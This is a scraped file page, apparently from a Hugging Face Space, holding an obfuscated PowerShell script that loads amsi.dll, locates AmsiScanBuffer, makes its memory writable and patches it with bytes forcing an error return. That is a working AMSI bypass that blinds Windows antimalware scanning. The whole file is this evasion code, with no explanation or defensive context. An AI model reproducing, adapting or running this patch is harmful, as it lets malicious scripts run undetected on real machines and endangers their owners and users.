Spaces:
Runtime error
Runtime error
File size: 1,263 Bytes
a06dcd7 85d362c a06dcd7 85d362c a06dcd7 85d362c a06dcd7 85d362c a06dcd7 85d362c ae1a176 a06dcd7 17d278d a06dcd7 17d278d a06dcd7 17d278d a06dcd7 17d278d |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
sEt-iTem vAriabLe:MGp ([tYPe]("{1}{0}" -f '32','WIn')) ; $35fH6 = [typE]("{6}{1}{5}{3}{0}{2}{4}" -F 'iC','nTI','es.MaR','e.interopsErV','sHAL','m','sySTeM.rU') ; ${W`I`N32} = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
.("{1}{2}{0}"-f'-Type','A','dd') ${wIn`32}
${L`oADl`IBr`Ary} = (GEt-vARIaBLE ('mg'+'p') -vaL )::("{0}{1}{3}{2}" -f 'L','oa','brary','dLi').Invoke("am" + ("{1}{0}" -f'dll','si.'))
${AddR`e`ss} = ( gET-vARIAbLE mGP)."Va`lUe"::("{2}{1}{4}{3}{0}"-f'dress','etP','G','cAd','ro').Invoke(${Lo`A`DLIBr`Ary}, ("{0}{1}"-f 'A','msi') + ("{1}{0}"-f'n','Sca') + ("{1}{2}{0}"-f'r','Buff','e'))
${P} = 0
(get-ITEm VARIable:mgp)."v`AlUe"::"vI`RtuaLpRo`TE`cT"(${Add`RE`SS}, [uint32]5, 0x40, [ref]${P})
${pa`Tch} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
( Gi varIaBlE:35FH6 )."Val`UE"::("{1}{0}"-f'y','Cop').Invoke(${PAt`CH}, 0, ${aD`dReSs}, 6)
|